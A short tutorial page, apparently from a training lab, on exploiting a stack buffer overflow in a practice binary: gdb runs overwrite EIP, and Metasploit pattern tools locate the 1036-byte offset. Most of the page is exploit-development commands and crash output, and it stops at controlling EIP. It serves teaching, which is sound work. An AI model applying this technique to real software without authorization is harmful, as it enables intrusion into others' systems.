Exploit
Control the instruction pointer (EIP to pwn.
If we can control to the Instruction Pointer (EIP), we can tell to which address it should jump. For example the adress where our shellcode is located so the CPU wil exeucute it.
In this example we input 1200* the hex value "\x55". We get a segmentation fault but using info registers
we can see the values in ebp
but overwritten in eip
.
$ gdb -q bow32
(gdb) run $(python -c "print '\x55' * 1200")
Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1200")
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
# Registers
(gdb) info registers
eax 0x1 1
ecx 0xffffd6c0 -10560
edx 0xffffd06f -12177
ebx 0x55555555 1431655765
esp 0xffffcfd0 0xffffcfd0
ebp 0x55555555 0x55555555 # <---- EBP overwritten
esi 0xf7fb5000 -134524928
edi 0x0 0
eip 0x55555555 0x55555555 # <---- EIP overwritten
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
This shows we have write address to eip
and can specify which memory address the EIP should jump to.
Get The Offset
The offset is used to determine how many bytes are needed to overwrite the buffer and how much space we have around our shellcode.
We can use a pattern to determine the number of bytes and check what value we get back when the program crashed.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt
Then we run the command again with the pattern, where we will get a different memory address. Using another msf tool we can calculate the offset. It shows 1036th byte is the start of the EIP.
$ gdb -q bow32
# Run pattern
(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5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Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9'")
Program received signal SIGSEGV, Segmentation fault.
0x69423569 in ?? ()
# Get registers
(gdb) info registers eip
eip 0x69423569 0x69423569
# Get the offset
➜ ~ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
[*] Exact match at offset 1036
We can now print the /x55's a total 1036 times to land precisely on the EIP. To overwrite it we add 4 more bytes.
(gdb) run $(python -c "print '\x55' * 1036 + '\x66' * 4")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/bow32 $(python -c "print '\x55' * 1036 + '\x66' * 4")
# Here we find our \66 values
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()
Last updated
Was this helpful?